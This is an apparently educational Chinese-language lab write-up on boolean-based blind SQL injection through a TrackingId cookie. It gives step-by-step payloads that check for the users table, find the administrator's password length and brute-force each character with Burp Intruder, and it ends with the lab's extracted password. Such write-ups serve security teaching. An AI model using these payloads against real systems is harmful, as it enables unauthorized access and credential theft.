# Web SQL injection Lab11
本題存在 盲目 SQL 注入(Blind SQLi)漏洞,應用程式使用 追蹤 Cookie(TrackingId) 做分析,並在後端 SQL 查詢中使用了這個 Cookie 值。
查詢結果不會直接回傳、也不顯示錯誤訊息。
只要查詢有結果,頁面就會出現 Welcome back 字樣。
資料庫有一張 users 資料表,裡面有 username 和 password 欄位。
你的目標是透過盲注拿到 administrator 的密碼,並登入系統。
密碼僅包含小寫英文字母和數字(a-z, 0-9)
---
一樣先進入網站並攔截請求。


先測試回應是否受布林條件影響,這代表能用回應內容來判斷布林式查詢的結果。
```
Cookie: TrackingId=nHCDUjY6KCzwNH79'+and+1=1--
```

```
Cookie: TrackingId=nHCDUjY6KCzwNH79'+and+1=0--
```

沒有出現 Welcome back ,確定是盲注。
所以我們先來找 user 跟 administrator 使用者在不在。
```
'+and+(select+'x'+from+users+LIMIT+1)='x'--
```
SQL 長這樣:
```
SELECT * FROM products WHERE ... AND (SELECT 'x' FROM users LIMIT 1) = 'x' --
```
`SELECT 'x' FROM users LIMIT 1`:
從 users 表中選出第一筆資料(實際選什麼不重要,硬塞個 'x' 字串)。
`= 'x'`:
檢查內部查詢的結果是不是等於 'x',如果是,整體條件為真。
`--`:
SQL 註解,把後面原有的語句關掉(例如密碼判斷)。

出現 Welcome back,確定有 users 表。再來是確定有沒有使用者。
```
'+and+(select+username+from+users+where+username='administrator')='administrator'--
```
SQL 長這樣:
```
SELECT * FROM products WHERE category='Gifts' AND (SELECT username FROM users WHERE username='administrator') = 'administrator' --
```
`SELECT username FROM users WHERE username='administrator'`
→ 嘗試從資料表 users 找出帳號為 administrator 的使用者名稱。

出現 Welcome back,確定有 administrator 。
確定要的人都有後,再來就是爆破我們的密碼,所以丟到 Intruder 裡面比較快。

```
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
```
SQL 語法:
```
SELECT * FROM products WHERE category = '' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1) = 'a'
```
`(SELECT 'x' FROM users WHERE username='administrator' AND LENGTH(password)>1)`
→ 如果使用者 administrator 存在,且其密碼長度大於 1,這個子查詢會回傳 'a'
然後再比對 'a' = 'a' ➜ 條件為真。
如果條件不成立(例如密碼長度不大於 1,或該帳號不存在)
➜ 子查詢沒東西回傳 ➜ NULL = 'a' ➜ 條件為假。

發現在第 20 次後就沒有出現 Welcome back 的文字了(0~19),所以我們可以知道密碼長度為 20。
再來是爆破每一位的英文數字。
```
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§
```
SQL 語法:
```
SELECT * FROM products WHERE category = '' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a'
```
`SUBSTRING(password, 1, 1)`
→ 抓出密碼的第 1 個字元
`FROM users WHERE username='administrator'`
→ 限定使用者是 administrator
`= 'a'`
→ 拿該字元跟 'a' 比較,條件成立才會出現 Welcome back
`'§a§'`
→ Burp Intruder 中,§ 是 payload 變數位置。Burp 會把這邊的 a 替換成你提供的字元(a~z, 0~9)一個個測。

:::danger
密碼爆破位數
:::
:::success
替換成提供的字元
:::
:::info
0 ~ 9、a ~ z
:::
當我們 20 位數爆破完後會得到一串亂碼。

`administrator:8qrm5p9u1fyr0kyvbgc4`


---